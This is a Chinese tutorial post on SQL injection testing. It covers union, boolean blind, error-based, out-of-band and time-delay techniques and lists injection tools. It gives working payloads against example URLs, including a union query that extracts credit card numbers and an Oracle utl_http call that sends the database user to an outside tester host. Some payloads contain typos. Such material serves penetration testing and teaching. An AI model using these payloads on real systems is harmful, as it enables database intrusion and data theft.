sql注入测试(二)
联合注入
union操作符可用于sql注入,将测试者伪造的query与原始的查询连接起来。伪造查询结果,允许测试者获得其他的表中的值。
select name,phone,address from user where id=$id
$id=1 union all select creditCardNumber,1,1 from creaditCardTable
select name,phone,address from user where $id=1 union all select creditCardNumber,1,1 from creaditCardTable
利用sql注入漏洞所需的第一个细节是在select语句中找到正确的数据列,为实现这一点使用order by 语句,后面更一个数字表示数据库列的数量
http://www.example.com/product.php?id=10 order by 10--
unkown column '10' in 'order clause'#查询成功执行,返回的结果少于10列
下一步就是找出列的类型可以使用NULL值
http://www.example.com/product.php?id=10 union select 1,null,null--
当查询失败
all cells in a column must have the same datatype
如果执行成功时,可以进一步移动
http://www.example.com/product.php?id=10 union select 1,1,null--
http://www.example.com/product.php?id=99999 union select 1,1,null--#设置无效值
布尔值注入
当我们发现sql注入时sql盲注时布尔值的开发技术就非常有用啊,在这种情况下,对操作结果一无所知。
http://www.example.com/index.php?id=1'
substring(test,start,length):返回从文本的起始长度。如果start长度文本的长度,函数返回一个空值。
ASCII(char):返回字符的输入的ASCII值。如果char为0则返回空值
length(test):返回输入的文本的字符数。
比较ASCII值在表中的所有值直到找到正确的值
$id=1' and ASCII(SUBSTRING(username,1,1))=97 and '1'='1
推理查询
select 字段1,字段2,字段2 from users where id='1' and ASCII(SUBSIRTNG(username,1,1))=97 AND '1'='1'
创建一下查询:
select 字段1,字段2,字段3 users where id='1',and '1'='2'
$id=1' and length(username)=n and '1'='1
select 字段1,字段2,字段3 users where id='1' and length(username)=n and '1'='1'
sql盲注攻击需要大量的查询,需要自动化的工具
报错注入:
但测试人员由于某些原因不能使用其他的技术利用SQL注入漏洞时,用于基于错误的的技术是有用的
sql查询语句:
select * from product where id_product=$id_product
http://www.example.com/product.php?id=10
http://www,example.com/product.php?id=10||UTL_INADDR.GET_POST_NAME((SELECT USER FROM DUAL))--(oracle数据库查询主机名)
ORA-292257:host 主机名#报错
外部注入技巧:
http://www.example.com/product.php?id=10||utl_http.request('testerserver.com:80'||(select user from dual)--
延时注入:
select * from product where id_product=$id_product
http://www.example.com/product.php?id=10
http://www.example.com/product.php?id=10 and if(version() like '5%',sleep(10),'false'))
sql注入工具:
sqlmap
owasp sqlix
sql power injector
sqlninja
pangolin
mysqloit(http://code.google.com/mysqloit)
sqlqDumper
bsqlbf
abind sql injection tool in perl
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现